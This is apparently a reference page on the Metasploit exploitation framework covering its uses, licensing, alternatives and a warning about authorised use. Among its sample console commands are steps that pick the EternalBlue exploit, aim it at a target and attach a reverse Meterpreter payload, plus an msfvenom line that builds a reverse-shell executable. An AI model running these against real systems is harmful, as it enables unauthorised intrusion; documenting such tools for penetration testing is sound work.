Metasploit is an exploitation framework, maintained by Rapid7, that provides a large, curated database of exploits, payloads and post-exploitation modules in a single console. Penetration testers use it to develop, test and execute exploit code against target systems in a repeatable way, then establish a session (such as Meterpreter) to demonstrate impact. The open-source Framework is free; Metasploit Pro adds automation and reporting on top.
Last updated: 6 August 2026
Metasploit turns exploitation into a consistent workflow: pick a module, set the target and payload options, and launch. A tester validating a known CVE selects the matching exploit module, sets RHOSTS to the target and a payload like a reverse Meterpreter shell, then runs it to prove the vulnerability is exploitable. Its Meterpreter payload provides in-memory post-exploitation, msfvenom generates standalone payloads, and auxiliary modules cover scanning, brute-forcing and fuzzing. It is used heavily for validation and for teaching how exploits actually work.
Linux · Windows · macOS
Open source (BSD) Framework; commercial Metasploit Pro by Rapid7
msfconsoleLaunch the main interactive console for the framework.
search type:exploit smbFind modules matching a keyword and filter by type.
use exploit/windows/smb/ms17_010_eternalblueSelect a specific exploit module to configure.
set RHOSTS 10.10.10.5Set the target host(s) for the selected module.
set PAYLOAD windows/x64/meterpreter/reverse_tcpChoose the payload that runs on successful exploitation.
show optionsList required and optional settings for the current module.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f exe -o shell.exeGenerate a standalone payload file outside the console.
Run exploit modules only against systems in an authorised, scoped engagement or your own lab. Launching exploits at machines you do not own is unauthorised access and can cause outages, exposing you to liability under the IT Act 2000 and other laws. Get written permission and define rules of engagement first.
Public Metasploit modules are heavily signatured, so modern EDR and antivirus frequently detect and block default payloads. Exploits can crash target services. It is not a stealth tool by default and is not a substitute for understanding the underlying vulnerability you are testing.
| Tool | Pick it when |
|---|---|
| Cobalt Strike | You need a commercial red-team C2 with advanced evasion and team collaboration. |
| Sliver | You want a free, modern open-source C2 framework for adversary emulation. |
| Core Impact | You want a commercial exploitation platform with vetted, supported exploits. |
| Exploit-DB / manual PoCs | You need a specific proof-of-concept that has no Metasploit module yet. |
| Empire / Starkiller | You are focused on post-exploitation and PowerShell-based C2. |
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